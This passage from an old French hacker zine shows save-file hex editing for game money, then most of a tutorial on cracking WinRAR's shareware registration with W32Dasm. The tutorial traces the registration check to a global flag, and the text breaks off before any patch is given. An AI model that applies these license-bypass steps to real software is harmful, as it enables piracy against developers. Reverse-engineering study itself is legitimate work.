mmoire comme  ce-ci  (ceux  qui ont un diteur  c'est souvent la
lettre E pour diter) donc je change 19 02 pour ---> 19 72
oubliez pas  que  comme les  espaces  mmoires  sont inverses le
chiffre le plus significatif est le deuxime (soit 02)
Et l'ultime question:      Pourquoi un "7" ?
La rponse : c'est que  c'est  un chiffre  chanceux  et que si je
mettais FF dans chaques cases, et que, par malheur,en recomencant
ma game j'aille  un extra  Cash  flow,  celui-ci  se  rajouterait
par-dessus le FF FF(qui est la valeur maximum dans un octet).Donc
si votre jeu n'a pas prvus un 3e octet de mmoire, y va avoir un
buffer overflow et pour la suite je vous laisse deviner...
Mais ce qui est  pratique  c'est que si  vous  noter, comme  dans
Warcraft par exemple, le nombre de OIL et de BOIS que vous  avez,
vous verrez que ceux-ci sont dans le mme coin que l'argent  donc
notre ami le programmeur a dcid  de mettre ca  en tapon  et  ca
vous vites donc de chercher ces  nombres pour  rien,  deplus, si
vous trouver  deux fois ce nombre  celui qui se  trouve  prs  de
l'argent sera srement le bon car il est aussi important au niveau
du jeu (logique non!). En voyant les espaces qui sparent chaques
termes en hexadcimal,  vous pourrez dduire environs le  maximum
d'octets allous  cette donne, exemple :

00 00 00 12 01 00 43 02 00 45 00 00

Ici,  on  pourrait  croire  qu'il  y  a  3  octets  pour  chaques
donnes(les 3 premiers sont finalement rien!) Le chiffre commence
 12 (valeur faible) et ensuite 01 (valeur moyenne) et 00 (valeur
forte) mme si cette dernire est vide,il faudrait un nombre plus
grand que 65535 pour qu'elle s'active, il en va de mme pour  les
autres.

Alors voici le moment de l'exemple final :
mettons  j'ai  3945$   Command  & Conquer bin comment je peux me
faire une passe de cash facile en gossant mon save file!? 

Rponse :
Avant tout, sauvegardez lorsque vous savez que vous  avez  3945$!
La conversion: 3945$ --> en hexadcimal, ce qui donne --> F69 
On les met en couples! : F69 --> 0F 69
ensuite on les inverse 0F 69 --> 69 0F
 
On dit ensuite  le save  file en  HEXAdcimal et on  cherche  la
string suivante : 69 0F
Une fois trouver on la modifie : 69 0F  --> 69 7F
(pas obliger d'tre un "7" la ca peut tre ce que vous voulez,mais
essayer d'viter le buffer overflow d'on je parlais tento)

Il ne reste plus qua enregistrer vos modifications et de recopier
ce fichier par-dessus le vieux que vous aviez. Vous  allez passer
de 3945$  32617$ tout un taux de change!


Ici se trouve la section Annoying, c'est--dire les problmes que
vous pourriez rencontrer. La passe des valeurs encriptes je l'ai
vu une seule fois donc c'est pas si grave mais le  pire  bug  que
vous pourriez avoir c'est  de  changer quelque  chose qui devrait
pas tre changer  (si par exemple  la mme string  se rpte deux
fois dans le mme fichier  et  que vous  dcidiez de modifier les
deux valeurs,alors il se peut fortement que sa soit la cause d'un
futur bug. Certains programmes sont barrs non pas  65535 (sur 2
octets) mais  la valeur 1000 (dcimal) comme Doom ou heretic par
exemple la window pour le  amos est sur trois dcimals de 0  999
si vous essayez de rentrer un "1" de plus,le programme va planter
because y pourra pas le  mettre dans un  espace de  3 digits, une
espce de bug de l'an 2000 encore la!  Ensuite  il se  peut aussi
que vos options marchent plus ou moins,comme ca m'est arriv dans
un seul jeu (UFO2) j'avais over  booster mes bonhommes,  ce qui a
fonctionn mais sans trop savoir pourquoi,mes bonhommes changeaient
de nom pis y se sont mit  porter des "Rang enseigne"comme armure!
Un autre problme commun, souvent les variables dclares par  le
programmeur sont  de type  "non-unsigned"  c'est--dire  que  ces
variables vont de -128  127 dans le cas  de un octet de mmoire,
contrairement au mode unsigned ou ils vont de 0 a 255.Le problme
c'est que le nombre est  finalement diviser  en deux,  une partie
positive : de 00 a 7F et une partie ngative de 80 a FF.
Donc si  vous ajouter  ou augmenter votre  valeur et que celle-ci
est  "signed"  donc   comporte  une  partie  ngative,  alors  en
augmentant la valeur  au-del de  79 vous pourriez tomber dans le
ngatif, ce qui serait un problme et non une solution,  et  vous
voyez encore ici le fameux "7" chanceux !
Autre chose, si votre nombre est de type HUGE du  genre  1809543$
1809543$ en hexa---> 1B 9C 87
Alors pour invers le tout vous le lisez  l'envers finalement ce
qui donne : 87 9C 1B
Et c'est tout!


Vous pourriez trouver un bon diteur hexa dcimal sur le  net  je
crois que  sa serait  pas trs  trs difficile,  ya Norton qui en
faisait pis ya aussi  un bon vieux programme qui s'appelait Xtree
Gold dans le temps qui faisait de la belle job! Mais si vous avez
pas le temps ou que vous possder pas les ressources  matrielles
minimales, il vous  reste  le trs  rachitique DEBUG.  Finalement
pour bien diter votre fichier,  vous  devez  savoir  quel est la
string  rechercher, le nom du fichier et sa  grosseur.  Donc  en
mode DOS, vous tapez DEBUG  ensuite vous  aller  voir  une petite
ligne comme ca "-" marquez "n" suivit d'un espace et  le  nom  du
fichier: --> n Save3.sav Ensuite marquez "l" puis ENTER. L'option
"n" permet de nommer le fichier auquel on veut accder tandis que
l'option "l" permet simplement de loader le fichier  en  mmoire,
mais sa vous le sauriez si vous regardiez le HELP file "?".  Vous
voici donc dans votre fichier, il suffit de faire un  Dump  ("d") 
pour voir tout ce  beau code  apparatre mais, vous aller  devoir
chercher pendant des heures votre string  y aller page par page!
On va donc utiliser la commande "s" pour Serch et  voici  comment 
elle fonctionne : s [debut] [fin] [string]
Et c'est ici que vous allez  voir tout  le point de  vu  pratique
d'un diteur hexa. Donc si votre fichier fait 15,006k vous devrez
le  convertir  en hexa  15006 -->  3A9E  hexa aprs  cette  brve
opration vous devrez chercher de 0  3A9E  me direz  vous,  mais
non! Le super DEBUG commence  l'adresse 0100 ,  vous devrez donc
chercher de 100  3B9E (3A9E + 0100)Alors supposons que je cherche
la string 75 02 j'irai comme suit : s 0100 3B9E 75 02
Si votre fichier est de moins de  65,435k  vous  aurez  seulement
besoin de gosser l'offset de l'adresse mais s'il est de  plus  de
65,435k vous devrez crire l'adresse au complet! Vous aurez alors
le rsultat de la recherche sur des pointeurs qui, pointerons sur
la case mmoire (la valeur faible) ou se trouve votre string  EX:
String = 75 02 et se trouve  l'adresse 1A72:085A
le rsultat sera donc 1A72:085A et  cette adresse il y a  ceci :
"75"  qui est la valeur basse c'est donc dire que si vous  prenez
cette case pour modifier vos  valeurs,  c'est comme  changer  les
units sans toucher aux  centaines,  finalement y aura  pas  gros
changement,  laisser donc cette  case mmoire  comme elle  est et
modifier plutt la case suivante (comme il s'agit de INTEL  c'est
invers donc la valeur la plus significative se trouve  la  case
suivante)Donc c'est  l'adresse 1A72:085B que vous devrez changer
le tout. Pour ce faire servez-vous de la commande "e" pour diter
EX : e 085B
ici j'ai laisser tomber le "1A72" car mon fichier est plus  petit
que 65,435k  je n'ai donc pas  besoin de la suite,  je  travaille
juste sur l'offset.Et quand c'est fait vous allez voir l'ancienne
valeur : 02. il vous suffira de rentrer la valeur que vous voulez
exemple 72.
Encore une fois le "7" chanceux.
Et  pour  terminer  il ne vous reste  plus  qu'  enregistrer vos
changement avec la commande "w" : w [ENTER]
Je vous laisse deviner la touche pour sortir de debug!


                        _________________ _____ _ ______ ____  __  __  _ _ 
  _________________ _.;'_______ ______ _____ __ __ _ __  _    __ _      _ 
['  [#.15]  _|_|            Program Cracking 
 \_________/_/                 So CalleD                    _ ______ __ _  _
                             Rix strike back              _/_/   [By:_rix]   \
  ___________________ __________________ _________ ______/_/_ __ _ __ _  _  _,]




                         Program Cracking
                          ================
Comment les cracks sont-ils concus, et quelles sont les faiblesses de tout
ces  sharewares  que  l'on  trouve  de  plus  en  plus  facilement ?
Je vais essayer de repondre a ces 2 petites questions, en utilisant pour cela
un exemple tout a fait pratique. Nous allons essayer de cracker WinRAR, un
utilitaire de compression excellent, qui permet de compresser mieux que
WinZIP, et qui en plus, permet de compresser aussi les fichiers ZIP !!!
Je vais donc ici vous montrer comment proceder sur une version de WinRAR,
en l'occurence la version 2.50 beta 3, que j'ai chargee a l'adresse suivante:
http://www.creabel.com/softronic

REMARQUE: LES TECHNIQUES QUI SONT EMPLOYEES DANS CET ARTICLE SONT SIMPLEMENT
UTILISEES ICI POUR DEMONTRER LES FAIBLES MOYENS MIS EN OEUVRE PAR LA PLUPART
DES PROGRAMMEURS POUR PROTEGER LEUR PROGRAMME, DANS LE BUT D'INFORMER CEUX-CI
DES TECHNIQUES HABITUELLES EMPLOYEES PAR LES CRACKERS, ET DE LES AIDER A S'EN
PROTEGER. LE PROGRAMME WINRAR N'EST ICI UTILISE SIMPLEMENT QU'A TITRE
D'EXEMPLE, ET L'AUTEUR DE CET ARTICLE VOUS ENCOURAGE PLUS QUE VIVEMENT A
ENREGISTRER TOUT LES PROGRAMMES SHAREWARES QUE VOUS UTILISER.


LES OUTILS
==========
Pour cela, nous allons avoir besoin de quelques outils tres pratiques et
obligatoires pour realiser ce que nous voulons.
Tout d'abord, je vous conseille de prendre WIN32DASM, le meilleur
debugger-desassembleur sous Windows (ca n'engage que moi ;).
( http://www.expage.com/page/w32dasm )
Ensuite, il sera tres interessant d'avoir un petit editeur hexadecimal, par
exemple UltraEdit, qui est tres bien fait.   ( http://www.idmcomp.com )
Vous allez voir, qu'avec ces 2 programmes tres puissants, il est assez
facile de cracker un petit programme. Cependant, il est conseille d'avoir une
certaine connaissance de l'assembleur, etant donne que nous allons devoir
analyser certaines parties (petites, rassurez-vous ;), du code du programme.


WIN32DASM
=========
Avant de commencer le crack proprement dit, je vais d'abord vous expliquer
quelques fonctions bien utiles que nous offre WIN32DASM.
Une fois WIN32DASM lance, nous pouvons effectuer toute une serie de recherche 
d'informations sur le programme que nous allons debugger.
Pour cela, vous pouvez d'abord charger le fichier WINRAR.EXE dans WIN32DASM,
a l'aide de la commande "Open file to disassemble" du menu "Disassembler".
Cette commande va prendre un certain temps, car c'est en fait elle qui est
responsable de toute la partie desassemblage du programme.
Une fois le programme desassemble, nous allons avoir le code de WINRAR.EXE
affiche dans la fenetre.

Ce code est decompose comme ceci:
D'abord les valeurs de l'offset et de la taille du code et des donnees.
Ensuite le nombre d'objets du programme (pas trop important pour nous ;)
Puis les eventuels menus et boites de dialogues.
Viennent ensuite toutes les APIs Windows que le programme utilise, classees
suivant la DLL d'ou elles proviennent. Puis enfin, toutes les fonctions qui
sont exportees par le programme (pas trop utiles pour nous non plus ;)
Au niveau de chaque instruction du programme, chaque ligne est composee d'une
adresse, suivie du code hexadecimal de l'instruction, suivie de l'instruction
assembleur correspondante.

Au niveau des commandes, WIN32DASM va nous permettre d'effectuer des
recherches de chaine dans le code, par exemple, grace a la commande
"Find Text" du menu "Search". Nous pouvons aussi aller a une adresse precise,
avec la commande "Goto Code Location" du menu "Goto".

WIN32DASM nous permet aussi d'effectuer les jumps et les calls dans le code
desassemble, grace aux commandes du menu "Execute Text". Lorsque WIN32DASM
detecte une instruction de saut ou de call, elle est automatiquement affichee
en vert, pour plus de facilite ;))
De plus, au debut de chaque procedure, WIN32DASM nous indique a quels endroits
du programme cette procedure est appelee. Ensuite, dans la ligne de status en
bas de la fenetre, nous pouvons voir des informations tres interessantes, 
comme l'offset de l'instruction courante dans le fichier EXE original.

Nous pouvons aussi visualiser le(s) segment(s) de donnees en hexadecimal,
grace a la commande "Hex Display Of Data Object/Segments" du menu "HexData".
Enfin, nous pouvons visualiser toutes les ressources utilisees par le
programme, grace aux commandes "Menu References", "Dialog References", et
"String Data References" du menu "Refs".
On peut aussi utiliser plus facilement plusieurs de ces commandes grace a la
barre d'icones ;)

Maintenant nous allons passer au debugger.
Pour lancer le debugging du programme, il nous suffit de cliquer sur la
commande "Load Process" du menu "Debug".
On a un chtit ecran "Load Dissassembly Dialog" qui apparait, et qui peut
servir a entrer des parametres de la ligne de commandes au programme.
Ici, dans le cas de WINRAR, on a pas besoin de ca, donc on clique direct
sur "Load". Nous avons 3 fenetres qui apparaissent a l'ecran.
La 1ere contient toujours le code source desassemble.
La 2eme contient l'etat des registres, de la pile, et toutes une serie
d'informations sur les process, etc...
La 3eme contient le code tel qu'il est present en memoire, et les commandes
de debuggage proprement dit. Dans la 2eme fenetre, on peut observer au fur et
a mesure de l'execution les modifications que subissent les registres, mais aussi
observer le contenu de la pile du programme, et observer des variables qui sont
en memoire. Dans la 3eme fenetre, on peut executer le code pas a pas dans les procedures
ou non (F7/F8), on peut aussi faire une pause dans l'execution, l'executer
normalement (F9), ou encore le patcher, c'est a dire modifier les instructions qui
vont etre executees. Une autre fonction tres pratique est la fonction d'ajout de point 
d'arret dans le programme. Pour cela, il faut voyager avec le curseur dans la fenetre
de code et presser sur F2 a l'endroit ou on veut placer un breakpoint. Le debut de la 
ligne se met alors en jaune pour l'indiquer.

Pourquoi une 3eme fenetre alors que on a deja le code dans la 2eme ?
Tout simplement parce que cette 3eme fenetre peut nous permettre aussi de
debugger les DLLs ou les APIs Windows appelees par le programme, qui ne sont
pas presentes dans le code desassemble.


METHODES DE BASE
================
Je vais vous donner ici quelques techniques de bases pour trouver les cracks.
Faut d'abord savoir que chaque programmeur code son programme comme il le veut ,
donc il n'y a pas de methode qui marche a tout les coups. Il faut souvent tester,
analyser, et essayer, pour se rendre compte que ca ne marche pas et qu'il faut essayer
autre chose.

Tout d'abord, les programmes stockent souvent les informations de registration selon
une de ces manieres:
- dans le programme executable lui-meme, en allant modifier une donnee dans
  le programme, ou bien dans un fichier de donnees quelconque.
- dans la base des registres, en mettant une valeur de cle a jour, ou dans un
  fichier .INI (du aux anciennes versions de Windows, style 3.1, etc)

Dans le 1er cas, il va donc souvent s'agir d'aller modifier cette valeur pour
simuler la registration. On peut aussi essayer d'inverser les conditions de
la registration dans le programme (souvent des comparaison avec des sauts
conditionnels).
Dans le 2eme cas, on peut aussi evidemment aller modifier les informations
dans la base des registres, mais c'est plus risque. Personnellement, je vous
conseille d'essayer les inversion de comparaison dans ce cas-la aussi.

Comment savoir ou se trouvent les differentes comparaisons dans le programme?
On pourrait balayer tout le code du programme, a la recherche de ces
comparaisons, ou bien le debugger a partir du debut. Mais cette technique peut etre
tres longue, et surtout tres compliquee, car il faut quasiment connaitre tout le 
fonctionnement du programme en assembleur. Si le programme fait 500 lignes ca va,
mais s'il en fait plus, comme 163000 comme WINRAR, ca devient un travail de fou ;)))) 
De plus, deja comprendre le programme de quelqu'un avec le code source n'est pas evident,
mais avec le code assembleur, je vous souhaite  bien du courage ;))))

On va donc essayer de proceder plutot dans le sens inverse.
C'est a dire rechercher dans le code les endroits qui font intervenir des
donnees de registration, et remonter a partir de ces donnres aux comparaisons.

Autre chose:
Ce n'est pas parce que l'on a trouver une comparaison et qu'on l'a inversee
que le crack est parfait. Les programmes sont souvent concus pour posseder
plusieurs protections, et la suppression d'une seule n'est pas suffisante.

Comme vous le voyez, il n'y a pas vraiment de grande ligne a suivre, cela se
fait un peu au feeling. Je vais essayer de vous montrer le chemin que j'ai
suivi pour cracker ce programme, avec les faux pas et les bons, pour que vous
puissiez comprendre plus efficacement.

Au niveau de la methode "generale", je vous conseille de proceder de la
maniere suivante:
- analyse de la registration au niveau de l'interface
- analyse des references
- analyse du code relatif au references
- analyse des donnees
- debugging eventuel
- patching
- tests


ANALYSE DE L'INTERFACE
======================
Pour mieux suivre la suite, je vous conseille de charger cette doc dans un
fichier dans votre bloc-notes par exemple, et de faire les tests et les
commandes en meme temps que moi. Vous comprendez surement beaucoup mieux ;)

Avant de debugger, ce que l'on a trop souvent tendance a faire au debut, nous
allons d'abord analyser un petit peu la registration en detail.
Lancons WINRAR.EXE normalement (pas dans WIN32DASM I mean ;)
Cherchons ou se trouve ce foutu ecran de registration :)
Il se trouve dans le menu "Options", commande "Registration". Notons cette
petite commande interessante. Ensuite, regardons un petit peu l'interface.
On remarque que la barre de titre de la fenetre contient un beau message "evaluation copy".
Mettons le aussi de cote.
Allons aussi voir une eventuelle information dans la boite "A propos de...",
que l'on trouve assez couramment. Ici, pas de chances, la boite de dialogue
"About WinRAR..." ne mentionne pas la registration ou non du programme.
Il est donc souvent tres interessant de noter le plus d'informations possibles qui sont
affectees par la registration, car ces informations doivent probablement subir un test
avant d'etre affichee, dans le menu, dans la barre de titre, etc...

Maintenant, nous allons essayer d'entrer un numero de registration errone,
pour voir comment le programme reagit. Ne vous inquietez pas, tout les
programmes permettent des erreurs de registration, c'est si vite arrive, donc
pas d'panik ;)

Nous lancons donc la commande "Registration" du menu "Options", et nous
arrivons devant une belle boite de dialogue. Notons toutes les chaines de
caracteres qui sont affichees dans cette boite de dialogue, elle pourront
eventuellement nous renseigner sur l'endroit ou la boite de dialogue est
appelee dans le programme.
Ensuite, entrons un texte et un code de registration, n'importe quoi.
Par exemple: "iga" et "iga", et pressons "OK".
Nous avons immediatemment une boite de dialogue qui s'amene, toute contente,
avec un titre "Warning", ainsi qu'un beau message "Registration failed".
Notons evidemment ces chaines de caracteres.

Voila, nous avons a peu pres tout note au niveau de l'interface...


ANALYSE DES REFERENCES
======================
Nous lancons WIN32DASM et chargeons le programme WINRAR.EXE.
Nous allons d'abord analyser les references, c'est a dire essayer de trouver
les donnees que nous avons note dans la phase precedente, et de trouver ou
ces donnees sont utilisees dans le programme.

Allons dans le menu "Refs", et cliquons sur "Menu References".
Nous avons une liste de toutes les chaines presentes dans les menus qui sont
affichees. Parcourons un peu cette liste, a la recherche de chaines qui
pourraient nous interesser.
Nous trouvons la chaine "Registration", correspondant a la commande du menu
"Options". Cliquons 2x sur cette chaine, WIN32DASM saute directemment aux
endroits correspondants dans le code ou cette chaine est referenciee.
Nous arrivons a un endroit du code, autour de la ligne d'adresse 0044B3A6,
0044B3AB. A priori, le code qui suit n'as pas l'air tres explicite sur ce qui
se passe a cet endroit la du code. En fait, les commandes de menus n'apportent 
pas souvent d'informations tres utiles, car elles sont justes affichees et
n'effectuent aucun traitement. La decision de l'affichage ou non de la commande
ne se fait pas au meme endroit dans le code, elle se fait dans la gestion de
l'objet du menu, dont nous ne savons pas ou elle se trouve ;)

Allons maintenant dans le menu "Refs", et cliquons sur "Dialog References".
Parcourons cette liste, a la recherche d'informations. Nous ne trouvons
malheureusement pas d'information tres interessante.

Allons ensuit dans le menu "Refs", sur "String Data References".
Cette liste contient toutes les chaines de caracteres du programme.
Elle est assez longue, mais il est tres interessant de la parcourir
entierement, car elle apprend souvent plus d'informations que les references
de menu ou de boites de dialogue.
Premiere chaine interessante, sur la premiere page:
"Available in registered version only". Cliquons 2x dessus, et nous sommes
amenes dans le code pres de l'adresse 00404670. En remontant un peu dans le
code, ainsi qu'en descendant un peu, autour de cette adresse, nous voyons des
references vers "Unselect group","Invert selection copy", etc...
Cela nous indique que ce message permet de faire des selections de groupe,
etc... dans la version enregistree. En observant un peu plus le code juste
au dessus de la ligne, nous avons ceci:

call 0040A0C0
add esp,0000000C
test eax,eax
je 00404678
push 00000001

Pourquoi remarquer cette partie du code ? Tout simplement parce que nous y
observons une comparaison TEST, sur le registre eax.
La commande TEST en assembleur compare le contenu du registre de gauche a
celui de droite, en effectuant un AND binaire bit a bit entre les 2 registres.
Ici, comme nous faisons un AND binaire entre EAX et EAX, nous obtenons forcement
EAX comme valeur resultante. Cette methode est souvent utilisee par des compilateurs,
pour optimiser le code, pour savoir si un registre est egal ou non a 0. Donc, si EAX
est egal a 0, le processeur saute a l'adresse 00404678. Allons un peu ce qui se passe
a cet endroit. Positionons le curseur sur la ligne "je 00404678", et la ligne devient
de couleur verte. ( JE est une instruction assembleur qui effectue un saut a l'adresse
indiquee si les valeurs comparees dans la derniere comparaison etaient egales )
Maintenant, cliquons sur lancons la commande "Execute Jump" du menu "Execute Text".
Nous arrivons donc a l'adresse 00404678. Remontons un petit peu, pour voir ou nous
sommes, et oh surprise :)))
Nous avons sauter la partie du code qui utilisait la reference !!!
Qu'est-ce que cela veut dire ? Cela veut dire que EAX, s'il est different de
0, a cet endroit du programme, indique probablement si le programme est
enregistre ou non. Pourquoi EAX ?
Retournons a notre instruction de saut JE originale, en pressant "Return From
Last Jmp" dans le menu "Execute Text".
Un peu au dessus, juste au dessus de la ligne "add esp,0000000C", nous avons
une instruction CALL. CALL represente un appel de procedure. Or, dans la
programmation habituelle structuree sous Windows, les fonctions (procedures)
renvoient leur valeur resultante dans le registre EAX.
Donc, apparement, cette fonction renvoie une information concernant la
registration ou non du programme.
Allons donc un peu voir ce que cette fonction fabrique ;)

Nous allons donc sur le CALL, puis nous lancons la commande "Execute Call" du
menu "Execute Text". Nous arrivons dans le code de cette procedure.
Un petit rappel, la fin de la procedure est toujours signalee par un RET.
Ici, nous apercevons un RET quelques lignes plus bas, qui montre donc que
cette procedure n'est pas tres longue.
Autre information: au debut les procedures, vous appercevrez souvent beaucoup
de commandes qui font intervenir [ebp+X] dans des instructions assembleur.
Cela est du tout simplement au fait que les parametres des fonctions sont
passes sur la pile dans les languages courants, et que ce registre EBP est
classiquement utilise pour acceder a ces parametres.
De meme, le registre ESP est lui souvent modifie en debut de procedure pour
"descendre" la pile, et reserve de l'espace dessus, le plus souvent pour les
variables locales de la procedure. Cela se fait au moyen d'une instruction
"sub esp,VALEUR". Ce n'est cependant pas le cas dans cette procedure.
Cette fonction ne fait donc apparement pas grand chose, exepte un autre CALL,
vers l'adresse 0040A064. Allons voir cette 2eme fonction, avec la commande
"Execute Call". Nous arrivons a une procedure apparement plus importante.
En regardant un petit peu les pages qui suivent, nous appercevons que cette
procedure fait appel a une API Windows: l'API RegQueryValueExA (ligne en bleu
dans le code). Cette API est en effet une API qui permet d'aller chipoter dans
la base des registres... hehe cela devient interessant ;)
Mais cette fonction a l'air assez compliquee, donc nous n'insiston pas trop
pour l'instant...
Vous pouvez revenir 2x en arriere avec la commande "Return From Call", puisque
nous avons utiliser 2x la commande "Execute call" ;))
Nous avons donc analyser tout ce qui tourner autour de la 1ere refrence de
chaine qui nous semblait interessante.

Revenons a la liste des references de chaine, et continuons a la parcourir.
Beaucoup plus loin vers la moitie de la liste, nous trouvons la reference
suivante: "String Resource ID=00870 : Registration Failed", ainsi que
plusieurs autres chaines interessantes derriere !!! Cliquons 2x sur la
reference "Registration Failed", pour voir ou cette reference est utilisee par le programme.

Nous arrivons autour de l'adresse 00409DC0.
Ahhh... Enfin quelques trucs interessants ;)
Tout d'abord, nous observons un peu en dessous un bel appel de l'API
MessageBoxA. En remontant d'une page, on appercoit aussi notre "Warning", qui
etait le titre de la boite de dialogue du message d'erreur...
En regardant un peu apres le MessageBoxA, nous appercevons un autre message
que l'on aimerai justement bien voir apparaitre ;)))
"Correct Registration", suivi de "Thank you for support", puis suivi encore
un peu plus loin d'une autre appel a MessageBoxA.
Tout cela devient assez interessant n'est-ce pas ;)))
D'ou cela provient-il ?
Le fait que ces 2 messages soient si proches l'un de l'autre n'est pas du
au hasard. Quand le compilateur code une instruction conditionnel du type
"if {} else {}", il utilise pour cela une comparaison en assembleur, suivie
d'un Jx (JE,JC, sauts conditionnels) vers l'une des solutions. L'autre
solution reste dans le deroulement "sequentiel" du code du programme.

Donc, vraissemblablement, il doit y avoir de nouveau une comparaison avant
ces instructions qui effectue un saut vers l'un ou l'autre des affichages,
suivant que le programme est enregistre ou non.
Remontons donc un petit peu, vers + ou - l'adresse 00409DA9.
Nous retrouvons un suite d'instructions un peu semblable a tantot, a savoir:

call 004272C0
add esp,00000008
test eax,eax
jne 00409DE1

Apres ces instructions, le processeur continue et execute les instructions
qui vont afficher la boite de dialogue avec une erreur de registration.
Analysons un peu le JNE, pour voir ou il nous emmene, en utilisant la commande "Execute Jump".
Oh surprise :)))
Nous nous retrouvons cette fois devant le message "Correct registration" !!!
Donc, de nouveau, c'est la comparaison "test eax,eax" qui precede qui decide
ou non du fait que le programme est enregistre...
Et de nouveau, nous avons un peu avant cela un appel de fonction, qui renvoie
sans doute une valeur dans EAX.

Remarque: certains personnes auraient tendance a aller essayer de modifier la
comparaison qui effectue le saut vers le bon affichage, en l'inversant.
Attention ! Si vous ne modifiez que ce saut, vous aurez en effet le bon
message "Registration Correct" qui sera affiche, mais les commandes actives
dans la version enregistree ne seront toujours pas valide !
En regle generale, il est preferable d'essayer de modifier la source de la
comparaison, que la comparaison elle-meme, car il y en a souvent plus que une.


ANALYSE D'UNE PROCEDURE INTERESSANTE
====================================
Allons un peu voir ce qui se trouve dans la fonction (commande "Execute
Call"). Nous nous rendons compte que cette fonction a l'air assez longue, et
qu'elle appelle elle-meme plusieurs autres fonctions...

Mais que cherchons nous ? En fait, nous cherchons a atteindre la fin de la
procedure, et de voir quelle est la valeur qui est renvoyee via EAX a notre
programme principal.
Notons cependant l'adresse du CALL vers la fonction: 00409DA9

Nous allons donc parcourir cette fonction, en effectuant tout les jumps
internes grace aux commandes "Execute Jump", jusqu'a ce que nous arrivions
a la commande RET. Nous ne rentrerons cependant pas dans les CALL de cette
procedure, pour ne pas nous perdre ;)
Pourquoi ne pas effectuer ceci avec un desassembleur allez vous dire ?
Tout simplement pour eviter de perdre inutilement du temps dans des boucles
eventuelles, qui pourraient rendre le tout extremement confu ;)
Donc, des que la couleur du curseur devient verte (saut), nous regardons s'il
ne s'agit pas d'un CALL, et si ce n'est pas le cas, nous regarderons si nous
devons executer ce saut ou pas.

Nous allons ainsi arriver au 1er test:

0042732A  test eax,eax
          je 00427334

Nous allons essayer d'arriver le plus vite possible vers la fin de la
procedure, et si nous ne trouvons rien d'interessant de cette maniere, nous
essayerons un autre "parcours" dans la procedure.
Pour aller le plus vite, il sufit de regarder les sauts conditionnels, et de
voir si l'adresse cible est apres l'adresse courante ou non. Si c'est le cas,
nous y allons avec la commande "Execute Jump".
Dans ce cas-ci, donc, nous executons le JE.

Nous arrivons a ceci

xor eax,eax
jmp 004275C6

Le XOR est une instruction souvent utilisee dans les compilateurs pour
remettre un registre a 0(elle est plus economique en codage hexadecimal).
En effet, le XOR effecture un OU EXCLUSIF entre les 2 registres fournis.
Or, les 2 registres etant egaux dans ce cas-ci, il en resulte un 0.
Effectuons ensuite le saut inconditionnel vers 004275C6.
Nous nous retrouvons a la fin de la procedure, apres une serie de depilage
peut interessants. Donc, c'est une valeur de 0 qui est retournee a notre
programme principal, et nous savons que cette valeur 0 entrainera un
affichage d'un message de registration incorrecte.
Nous allons donc revenir au test precedent la mise a 0 de EAX, et prendre
l'autre parcours, a savoir ne pas effectuer le JE.
Pour revenir, nous pouvons utiliser la commande "Return From Last Jump" 2x.

Pourquoi ne pas essayer de savoir d'ou provient la valeur qui est dans EAX a
cet endroit ? Parce que nous ne sommes peut-etre qu'au debut de la procedure,
et que cette valeur n'a peut-etre rien avoir directemment, ou que cette valeur
peut encore subir plusieurs modifications avant la fin de la procedure.

Nous n'executons donc pas le "je 00427334". Nous arrivons a un 2eme test:

cmp dword ptr [ebp-04],0000003C
jle 0042733B

Si nous n'executons pas ce jump, nous observons que nous revenons au fameux
"xor eax,eax", ce qui n'est pas interessant. Nous executons donc ce JLE.

Nous avancons un petit peu, jusqu'a:

00427346  mov dword ptr [0045155C],eax
          test eax,eax
          jne 00427368

Qu'observons nous la ?
Tout d'abord, nous observons de nouveau un TEST sur EAX.
Mais, nous observons aussi que le programme accede a une variable globale,
situee a l'adresse [0045455C]. Or, un bon programmeur evite le plus possible
d'utiliser des variables globales, sauf quand cela est vraiment necessaire.
Le plus souvent, il utilise des variables sur la pile, referencees d'une toute
autre maniere, a l'aide des EBP ou de ESP.
N'oublions pas que une variable quelconque qui indiquerai la registration
serait plus probablement globale que locale, etant donne qu'elle doit etre
probablement accessible a un grand nombre de fonctions.

Si nous n'effectuons pas le JNE, nous nous rendons compte qu'une chaine
"Not enough memory" est utilisee, ce qui semble etre un cas particulier, donc
nous allons plutot executer le JNE.
Nous arrivons a une longue sequence d'instructions, et nous continuons notre
parcours, jusqu'a:

004273C9  lea eax,dword ptr [ebp+FFFFFF74]
          jge 004273DF

Executons ce saut, qui nous rapproche probablement de la fin.
Nous executons encore le saut suivant un peu plus loin, qui nous rapproche lui
aussi de la fin.
Nous arrivons a:

0042740C  inc ebx
          inc [ebp-10]
          cmp ebx,00000005
          jl 004273EA

Ce saut revient en arriere, probablement parce qu'il s'agit d'une boucle,
donc nous ne l'executons pas. Nous continuons a avancer, et nous voyons que
nous entrons dans une serie d'instructions plutot difficile a interpreter...
C'est souvent la partie la plus critique de l'analyse, car on ne sait pas tres
bien quel solution prendre. Rappelez vous toutefois que la procedure doit
obligatoirement sortir par un RET, et que donc, quel que soit le chemin, il y 
aura toujours un moment ou nous arriverons a ce RET. Dans ce cas-ci, plutot que
d'executer ces instructions aux risque de s'y perdre, essayer de retourner a la
fin de la fonction (adresse 004275C6 provenant du saut du debut avec EAX qui etait
remit a 0 par un XOR).
Remontons un peu au dessus de cette adresse, pour voir ce qui se passe quand
on arrive a la fin de la fonction par un autre chemin.
En fait, cette methode est plutot essayer des le debut, car elle nous aurait
eviter tout le parcous interne de la procedure. Nous avons suivi un petit peu
ce parcours interne comme exemple, pour voir comment se debrouiller lorsqu'il
y a divers type de sauts qui etaient interessants.

Maintenant revenons au lignes precedants la fin de la fonction.
Voila qui devient interessant. Observons la ligne precedente:

mov eax,dword ptr [0045157C]

Cette ligne place donc comme valeur de retour de notre procedure (puisque EAX
n'est plus modifie par apres), la valeur de la variable globale d'adresse
0045157C. La il n'y a plus a hesiter...
Nous venons probablement de trouver l'adresse d'un flag qui indique la
registration ou non de notre programme !
Resumons: si ce DWORD est a 0, le programme n'est pas enregistre.
Si il est different de 0, le programme est bien enregistre !


ANALYSE DES DONNEES
===================
Nous allons maintenant aller voir ce que contient effectivement cette petite
variable bien interessante ;)
Pour cela, nous allons aller dans le menu "HexData", commande
"Hex Display of Data Object/Segments". Rendons nous donc a l'adresse
0045157C (il faut cliquer sur Page, pour passer a la page suivante).
Nous arrivons a:

00451578  00 00 00 00 xx 00 00 00
00451580  00 00 00 00 00 00 00 00
00451588  00 00 00 00 00 00 00 00
00451590  00 00 00 00 00 00 00 00
00451598  00 00 00 00 C4 F4 E6 E4
